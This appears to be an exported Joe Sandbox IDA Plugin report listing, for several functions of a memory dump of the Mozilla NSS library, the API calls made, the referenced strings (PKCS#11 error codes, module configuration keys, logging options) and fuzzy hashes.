Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ba2eb2004aedd4f77228f2367ef2a228ee838c060cfdc78aa45cc4f3a876bfd
Instruction ID: 0f0bd454d213ab9771831885a22eba5c6179aa318a44cd25b8af776d6bbc93f2
Opcode Fuzzy Hash: 9ba2eb2004aedd4f77228f2367ef2a228ee838c060cfdc78aa45cc4f3a876bfd
Instruction Fuzzy Hash: DAE06D3A202054A7DB148E09C450AA97379DF8A659FF4807DCC599BA01DA73F8039791

Function 6CE0CC60 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cd22064bd6a37df70039a7fb9dbdb30df3c4e88bc61e35b76b44a750e18468f4
Instruction ID: fadebee497d13d5de62b599967fa283546603ea0671bbcb8e132efe07e760bb7
Opcode Fuzzy Hash: cd22064bd6a37df70039a7fb9dbdb30df3c4e88bc61e35b76b44a750e18468f4
Instruction Fuzzy Hash: FEC04838254608CFC744DB08E489AA43BA8BB096107040094EA028B721DA21F800CA90

Function 6CE41D60 Relevance: 84.2, APIs: 1, Strings: 47, Instructions: 210COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3( rv = %s,CKR_FUNCTION_REJECTED,?,6CE41D46), ref: 6CE42345

Strings

CKR_TOKEN_NOT_PRESENT, xrefs: 6CE41F81
CKR_FUNCTION_REJECTED, xrefs: 6CE42289
CKR_PIN_LEN_RANGE, xrefs: 6CE42061
CKR_SIGNATURE_INVALID, xrefs: 6CE420CF
CKR_TOKEN_RESOURCE_EXCEEDED, xrefs: 6CE42293, 6CE4233F
CKR_ENCRYPTED_DATA_LEN_RANGE, xrefs: 6CE41F0F
CKR_STATE_UNSAVEABLE, xrefs: 6CE42037
CKR_WRAPPING_KEY_SIZE_RANGE, xrefs: 6CE42327
CKR_OPERATION_NOT_INITIALIZED, xrefs: 6CE41FD7
CKR_FUNCTION_NOT_PARALLEL, xrefs: 6CE4218D
CKR_OPERATION_CANCEL_FAILED, xrefs: 6CE41F77
CKR_NEW_PIN_MODE, xrefs: 6CE41E9F
CKR_OBJECT_HANDLE_INVALID, xrefs: 6CE4204D
CKR_WRAPPING_KEY_HANDLE_INVALID, xrefs: 6CE42320
CKR_DEVICE_MEMORY, xrefs: 6CE41FF3
CKR_TEMPLATE_INCOMPLETE, xrefs: 6CE41F95
CKR_FUNCTION_CANCELED, xrefs: 6CE41E73
CKR_MUTEX_BAD, xrefs: 6CE41F49
CKR_RANDOM_NO_RNG, xrefs: 6CE422A7
CKR_DOMAIN_PARAMS_INVALID, xrefs: 6CE42015
rv = 0x%x, xrefs: 6CE42312
CKR_PIN_INCORRECT, xrefs: 6CE41D92
CKR_PIN_INVALID, xrefs: 6CE42057
CKR_BUFFER_TOO_SMALL, xrefs: 6CE42183
CKR_MUTEX_NOT_LOCKED, xrefs: 6CE42225
CKR_OPERATION_ACTIVE, xrefs: 6CE422B8
CKR_NEXT_OTP, xrefs: 6CE4222F
CKR_SAVED_STATE_INVALID, xrefs: 6CE41E56
CKR_TOKEN_NOT_RECOGNIZED, xrefs: 6CE41F8B
CKR_CRYPTOKI_ALREADY_INITIALIZED, xrefs: 6CE4227F
CKR_SIGNATURE_LEN_RANGE, xrefs: 6CE420D9
CKR_WRAPPED_KEY_LEN_RANGE, xrefs: 6CE42319
CKR_OK, xrefs: 6CE41DFC
CKR_ENCRYPTED_DATA_INVALID, xrefs: 6CE4226B
CKR_RANDOM_SEED_NOT_SUPPORTED, xrefs: 6CE422FF
CKR_WRAPPED_KEY_INVALID, xrefs: 6CE41FB5
CKR_CURVE_NOT_SUPPORTED, xrefs: 6CE42179
CKR_CRYPTOKI_NOT_INITIALIZED, xrefs: 6CE42275
CKR_DEVICE_ERROR, xrefs: 6CE4229D
CKR_WRAPPING_KEY_TYPE_INCONSISTENT, xrefs: 6CE4232E
rv = %s, xrefs: 6CE42340
CKR_PIN_EXPIRED, xrefs: 6CE4206B
CKR_PIN_LOCKED, xrefs: 6CE42075
CKR_TOKEN_WRITE_PROTECTED, xrefs: 6CE41DE0
CKR_DEVICE_REMOVED, xrefs: 6CE42261
CKR_TEMPLATE_INCONSISTENT, xrefs: 6CE41EE1
CKR_INFORMATION_SENSITIVE, xrefs: 6CE422B1

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: Print
String ID: rv = %s$ rv = 0x%x$CKR_BUFFER_TOO_SMALL$CKR_CRYPTOKI_ALREADY_INITIALIZED$CKR_CRYPTOKI_NOT_INITIALIZED$CKR_CURVE_NOT_SUPPORTED$CKR_DEVICE_ERROR$CKR_DEVICE_MEMORY$CKR_DEVICE_REMOVED$CKR_DOMAIN_PARAMS_INVALID$CKR_ENCRYPTED_DATA_INVALID$CKR_ENCRYPTED_DATA_LEN_RANGE$CKR_FUNCTION_CANCELED$CKR_FUNCTION_NOT_PARALLEL$CKR_FUNCTION_REJECTED$CKR_INFORMATION_SENSITIVE$CKR_MUTEX_BAD$CKR_MUTEX_NOT_LOCKED$CKR_NEW_PIN_MODE$CKR_NEXT_OTP$CKR_OBJECT_HANDLE_INVALID$CKR_OK$CKR_OPERATION_ACTIVE$CKR_OPERATION_CANCEL_FAILED$CKR_OPERATION_NOT_INITIALIZED$CKR_PIN_EXPIRED$CKR_PIN_INCORRECT$CKR_PIN_INVALID$CKR_PIN_LEN_RANGE$CKR_PIN_LOCKED$CKR_RANDOM_NO_RNG$CKR_RANDOM_SEED_NOT_SUPPORTED$CKR_SAVED_STATE_INVALID$CKR_SIGNATURE_INVALID$CKR_SIGNATURE_LEN_RANGE$CKR_STATE_UNSAVEABLE$CKR_TEMPLATE_INCOMPLETE$CKR_TEMPLATE_INCONSISTENT$CKR_TOKEN_NOT_PRESENT$CKR_TOKEN_NOT_RECOGNIZED$CKR_TOKEN_RESOURCE_EXCEEDED$CKR_TOKEN_WRITE_PROTECTED$CKR_WRAPPED_KEY_INVALID$CKR_WRAPPED_KEY_LEN_RANGE$CKR_WRAPPING_KEY_HANDLE_INVALID$CKR_WRAPPING_KEY_SIZE_RANGE$CKR_WRAPPING_KEY_TYPE_INCONSISTENT
API String ID: 3558298466-1980531169
Opcode ID: 44bef69388329b8ce0b9d91598c31c155ab5ebda0b8775d8068321642eb2878f
Instruction ID: 6c3e0693e8c8df292d1d7a9aa09095aa8af5deebcc7e0c2866ac6cf64b7a5faf
Opcode Fuzzy Hash: 44bef69388329b8ce0b9d91598c31c155ab5ebda0b8775d8068321642eb2878f
Instruction Fuzzy Hash: E6611E20A4D046D6EA1C044CB1AE36CB172AB7370CFF4C17BE685DEF55C299CAA74693

Function 6CE75DE0 Relevance: 63.3, APIs: 27, Strings: 9, Instructions: 272COMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?), ref: 6CE75E08
NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6CE75E3F
PL_strncasecmp.NSS3(00000000,readOnly,00000008), ref: 6CE75E5C
free.MOZGLUE(00000000), ref: 6CE75E7E
free.MOZGLUE(00000000), ref: 6CE75E97
PORT_Strdup_Util.NSS3(secmod.db), ref: 6CE75EA5
_NSSUTIL_EvaluateConfigDir.NSS3(00000000,?,?), ref: 6CE75EBB
NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6CE75ECB
PL_strncasecmp.NSS3(00000000,noModDB,00000007), ref: 6CE75EF0
free.MOZGLUE(00000000), ref: 6CE75F12
NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6CE75F35
PL_strncasecmp.NSS3(00000000,forceSecmodChoice,00000011), ref: 6CE75F5B
free.MOZGLUE(00000000), ref: 6CE75F82
PL_strncasecmp.NSS3(?,configDir=,0000000A), ref: 6CE75FA3
PL_strncasecmp.NSS3(?,secmod=,00000007), ref: 6CE75FB7
NSSUTIL_ArgSkipParameter.NSS3(?), ref: 6CE75FC4
free.MOZGLUE(00000000), ref: 6CE75FDB
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6CE75FE9
free.MOZGLUE(00000000), ref: 6CE75FFE
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6CE7600C
isspace.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CE76027
PR_smprintf.NSS3(%s/%s,?,00000000), ref: 6CE7605A
PR_smprintf.NSS3(6CF4AAF9,00000000), ref: 6CE7606A
free.MOZGLUE(00000000), ref: 6CE7607C
free.MOZGLUE(00000000), ref: 6CE7609A
free.MOZGLUE(00000000), ref: 6CE760B2
free.MOZGLUE(?), ref: 6CE760CE

Strings

flags, xrefs: 6CE75E3A, 6CE75EC6, 6CE75F30
secmod=, xrefs: 6CE75FB1
secmod.db, xrefs: 6CE75EA0
readOnly, xrefs: 6CE75E56
%s/%s, xrefs: 6CE76055
forceSecmodChoice, xrefs: 6CE75F55
pkcs11.txt, xrefs: 6CE75F47, 6CE75F7C, 6CE7603A, 6CE76053
configDir=, xrefs: 6CE75F9D
noModDB, xrefs: 6CE75EEA

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: free$L_strncasecmpValue$Param$FetchR_smprintfisspace$ConfigEvaluateParameterSkipStrdup_Util
String ID: %s/%s$configDir=$flags$forceSecmodChoice$noModDB$pkcs11.txt$readOnly$secmod.db$secmod=
API String ID: 1427204090-154007103
Opcode ID: e07c6dd720affc140beafb603f6cab813c3b82fda7b63e568186bddc9c286364
Instruction ID: 487171379f108fd86c0e4fe56d61c915cdd939c2650b1875bccbd0d34557b658
Opcode Fuzzy Hash: e07c6dd720affc140beafb603f6cab813c3b82fda7b63e568186bddc9c286364
Instruction Fuzzy Hash: 9D9124F0E052415BEF319F259C86BAA3BB8AF0624CF280025EC55DBB42E731D955C7B2

Function 6CE01D90 Relevance: 45.7, APIs: 16, Strings: 10, Instructions: 182filestringCOMMON

Download Yara Rule

APIs

PR_NewLock.NSS3 ref: 6CE01DA3

Part of subcall function 6CED98D0: calloc.MOZGLUE(00000001,00000084,6CE00936,00000001,?,6CE0102C), ref: 6CED98E5

PR_GetEnvSecure.NSS3(NSPR_LOG_MODULES), ref: 6CE01DB2

Part of subcall function 6CE01240: TlsGetValue.KERNEL32(00000040,?,6CE0116C,NSPR_LOG_MODULES), ref: 6CE01267
Part of subcall function 6CE01240: EnterCriticalSection.KERNEL32(?,?,?,6CE0116C,NSPR_LOG_MODULES), ref: 6CE0127C
Part of subcall function 6CE01240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6CE0116C,NSPR_LOG_MODULES), ref: 6CE01291
Part of subcall function 6CE01240: PR_Unlock.NSS3(?,?,?,?,6CE0116C,NSPR_LOG_MODULES), ref: 6CE012A0

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE01DD8
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sync), ref: 6CE01E4F
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,bufsize), ref: 6CE01EA4
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,timestamp), ref: 6CE01ECD
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,append), ref: 6CE01EEF
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,all), ref: 6CE01F17
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CE01F34
PR_SetLogBuffering.NSS3(00004000), ref: 6CE01F61
PR_GetEnvSecure.NSS3(NSPR_LOG_FILE), ref: 6CE01F6E
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CE01F83
PR_SetLogFile.NSS3(00000000), ref: 6CE01FA2
PR_smprintf.NSS3(Unable to create nspr log file '%s',00000000), ref: 6CE01FB8
OutputDebugStringA.KERNEL32(00000000), ref: 6CE01FCB
free.MOZGLUE(00000000), ref: 6CE01FD2

Strings

, %n, xrefs: 6CE01E6B
append, xrefs: 6CE01EE6
NSPR_LOG_MODULES, xrefs: 6CE01DAD
%63[ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_-]%n:%d%n, xrefs: 6CE01E27
bufsize, xrefs: 6CE01E9B
all, xrefs: 6CE01F0E
Unable to create nspr log file '%s', xrefs: 6CE01FB3
sync, xrefs: 6CE01E46
timestamp, xrefs: 6CE01EC4
NSPR_LOG_FILE, xrefs: 6CE01F69

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: _stricmp$Secure$BufferingCriticalDebugEnterFileLockOutputR_smprintfSectionStringUnlockValue__acrt_iob_funccallocfreegetenvstrlen
String ID: , %n$%63[ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_-]%n:%d%n$NSPR_LOG_FILE$NSPR_LOG_MODULES$Unable to create nspr log file '%s'$all$append$bufsize$sync$timestamp
API String ID: 2013311973-4000297177
Opcode ID: e5990d6b15954e9b8600f3153275804a8b18e41fb29ec3da9967b1e657eff0d4
Instruction ID: 4f38352d27b35183a88fd9bec7e17df44db75892e333da4752a04158786ca6d0
Opcode Fuzzy Hash: e5990d6b15954e9b8600f3153275804a8b18e41fb29ec3da9967b1e657eff0d4
Instruction Fuzzy Hash: 99518CB1E002099BDF00DBE5DC45BAE7BB8AF0134DF284528E919DFA01E775D929CB91

Function 6CEE6E50 Relevance: 42.2, APIs: 19, Strings: 5, Instructions: 213stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CD9CA30: EnterCriticalSection.KERNEL32(?,?,?,6CDFF9C9,?,6CDFF4DA,6CDFF9C9,?,?,6CDC369A), ref: 6CD9CA7A
Part of subcall function 6CD9CA30: LeaveCriticalSection.KERNEL32(?), ref: 6CD9CB26

memset.VCRUNTIME140(00000000,00000000,?,?,6CDABE66), ref: 6CEE6E81
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,6CDABE66), ref: 6CEE6E98
sqlite3_snprintf.NSS3(?,00000000,6CF4AAF9,?,?,?,?,?,?,6CDABE66), ref: 6CEE6EC9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,6CDABE66), ref: 6CEE6ED2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,6CDABE66), ref: 6CEE6EF8
sqlite3_snprintf.NSS3(?,00000019,mz_etilqs_,?,?,?,?,?,?,?,6CDABE66), ref: 6CEE6F1F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,6CDABE66), ref: 6CEE6F28
sqlite3_randomness.NSS3(0000000F,00000000,?,?,?,?,?,?,?,?,?,?,?,6CDABE66), ref: 6CEE6F3D
memset.VCRUNTIME140(?,00000000,?,?,?,?,?,6CDABE66), ref: 6CEE6FA6
sqlite3_snprintf.NSS3(?,00000000,6CF4AAF9,00000000,?,?,?,?,?,?,?,6CDABE66), ref: 6CEE6FDB
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,6CDABE66), ref: 6CEE6FE4
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6CDABE66), ref: 6CEE6FEF
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,6CDABE66), ref: 6CEE7014
sqlite3_free.NSS3(00000000,?,?,?,?,6CDABE66), ref: 6CEE701D
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,6CDABE66), ref: 6CEE7030
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,6CDABE66), ref: 6CEE705B
sqlite3_free.NSS3(00000000,?,?,?,?,?,6CDABE66), ref: 6CEE7079
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,6CDABE66), ref: 6CEE7097
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,?,6CDABE66), ref: 6CEE70A0

Strings

winGetTempname1, xrefs: 6CEE708F
winGetTempname2, xrefs: 6CEE70C4
winGetTempname5, xrefs: 6CEE7071
winGetTempname4, xrefs: 6CEE7046
mz_etilqs_, xrefs: 6CEE6F18

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: sqlite3_free$strlen$sqlite3_snprintf$CriticalSectionmemset$EnterLeavesqlite3_randomness
String ID: mz_etilqs_$winGetTempname1$winGetTempname2$winGetTempname4$winGetTempname5
API String ID: 593473924-707647140
Opcode ID: 3b557bb56c5cba99f5886714bad856fa20da363a67de3ffeed64438e5089da5a
Instruction ID: 6b263d1160186e93a2f50d3e79f3a274e64fa0cfd2412f6a9118864fafbc6b7a
Opcode Fuzzy Hash: 3b557bb56c5cba99f5886714bad856fa20da363a67de3ffeed64438e5089da5a
Instruction Fuzzy Hash: F0519B71F101102BE31097709C55BBB367A9F9638CF344538E91597BD2FB26991EC2E2

Function 6CE74FE0 Relevance: 40.4, APIs: 18, Strings: 5, Instructions: 175COMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE275C2,00000000,00000000,00000001), ref: 6CE75009
PL_strncasecmp.NSS3(?,library=,00000008,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE275C2,00000000), ref: 6CE75049
PL_strncasecmp.NSS3(?,name=,00000005,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CE7505D
PL_strncasecmp.NSS3(?,parameters=,0000000B,?,?,?,?,?,?,?,?), ref: 6CE75071
PL_strncasecmp.NSS3(?,nss=,00000004,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE75089
PL_strncasecmp.NSS3(?,config=,00000007,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE750A1
NSSUTIL_ArgSkipParameter.NSS3(?), ref: 6CE750B2
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE275C2), ref: 6CE750CB
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CE750D9
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CE750F5
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE75103
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE7511D
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE7512B
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE75145
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE75153
free.MOZGLUE(?), ref: 6CE7516D
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6CE7517B
isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CE75195

Strings

nss=, xrefs: 6CE75083
name=, xrefs: 6CE75057
library=, xrefs: 6CE75043
config=, xrefs: 6CE7509B
parameters=, xrefs: 6CE7506B

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: FetchL_strncasecmpValuefree$isspace$ParameterSkip
String ID: config=$library=$name=$nss=$parameters=
API String ID: 391827415-203331871
Opcode ID: 834c109e640aaa465cfe7055700bc98446b1ce6b19be43d0c5acbcda7ffd970c
Instruction ID: 2cd473fe27e126ac1ad18a32825119708825b4a9f6f943b209303f70602c28a2
Opcode Fuzzy Hash: 834c109e640aaa465cfe7055700bc98446b1ce6b19be43d0c5acbcda7ffd970c
Instruction Fuzzy Hash: 5851EAB1E122056BEB50DF24DC41AAF37B89F1624DF340024EC59E7741EB25E915CBB2

Function 6CE48E50 Relevance: 40.4, APIs: 14, Strings: 9, Instructions: 169COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_WrapKey), ref: 6CE48E76
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CE48EA4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CE48EB3

Part of subcall function 6CF2D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF2D963

PR_LogPrint.NSS3(?,00000000), ref: 6CE48EC9
PR_LogPrint.NSS3( pMechanism = 0x%p,?), ref: 6CE48EE5
PL_strncpyz.NSS3(?, hWrappingKey = 0x%x,00000050), ref: 6CE48F17
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CE48F29
PR_LogPrint.NSS3(?,00000000), ref: 6CE48F3F
PL_strncpyz.NSS3(?, hKey = 0x%x,00000050), ref: 6CE48F71
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CE48F80
PR_LogPrint.NSS3(?,00000000), ref: 6CE48F96
PR_LogPrint.NSS3( pWrappedKey = 0x%p,?), ref: 6CE48FB2
PR_LogPrint.NSS3( pulWrappedKeyLen = 0x%p,?), ref: 6CE48FCD
PR_LogPrint.NSS3( *pulWrappedKeyLen = 0x%x,?), ref: 6CE49047

Strings

pMechanism = 0x%p, xrefs: 6CE48EE0
pulWrappedKeyLen = 0x%p, xrefs: 6CE48FC8
*pulWrappedKeyLen = 0x%x, xrefs: 6CE49042
hKey = 0x%x, xrefs: 6CE48F5B, 6CE48F6B
hSession = 0x%x, xrefs: 6CE48E8E, 6CE48E9E
hWrappingKey = 0x%x, xrefs: 6CE48F01, 6CE48F11
pWrappedKey = 0x%p, xrefs: 6CE48FAD
C_WrapKey, xrefs: 6CE48E71
(CK_INVALID_HANDLE), xrefs: 6CE48EAC, 6CE48F1F, 6CE48F79

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulWrappedKeyLen = 0x%x$ hKey = 0x%x$ hSession = 0x%x$ hWrappingKey = 0x%x$ pMechanism = 0x%p$ pWrappedKey = 0x%p$ pulWrappedKeyLen = 0x%p$ (CK_INVALID_HANDLE)$C_WrapKey
API String ID: 1003633598-4293906258
Opcode ID: de006771ddab8e6b296f051bd4570d12ae5f2ca1a2c18f6a140530c134a0ec5e
Instruction ID: c1e82d735942b821502449375bb4f9191d02752f0aaec00a38d957dddc46742c
Opcode Fuzzy Hash: de006771ddab8e6b296f051bd4570d12ae5f2ca1a2c18f6a140530c134a0ec5e
Instruction Fuzzy Hash: 85510531A01124EFDB119F80ED49F9B7BB6AF4231DF158029F908A7B12D7769918CBE1

Function 6CE74C10 Relevance: 40.4, APIs: 13, Strings: 10, Instructions: 146stringmemoryCOMMON

Download Yara Rule

APIs

PR_smprintf.NSS3(%s,%s,00000000,?,0000002F,?,?,?,00000000,00000000,?,6CE64F51,00000000), ref: 6CE74C50
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6CE64F51,00000000), ref: 6CE74C5B
PR_smprintf.NSS3(6CF4AAF9,?,0000002F,?,?,?,00000000,00000000,?,6CE64F51,00000000), ref: 6CE74C76
PORT_ZAlloc_Util.NSS3(0000001A,0000002F,?,?,?,00000000,00000000,?,6CE64F51,00000000), ref: 6CE74CAE
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE74CC9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE74CF4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE74D0B
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6CE64F51,00000000), ref: 6CE74D5E
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6CE64F51,00000000), ref: 6CE74D68
PR_smprintf.NSS3(0x%08lx=[%s %s],0000002F,?,00000000), ref: 6CE74D85
PR_smprintf.NSS3(0x%08lx=[%s askpw=%s timeout=%d %s],0000002F,?,?,?,00000000), ref: 6CE74DA2
free.MOZGLUE(?), ref: 6CE74DB9
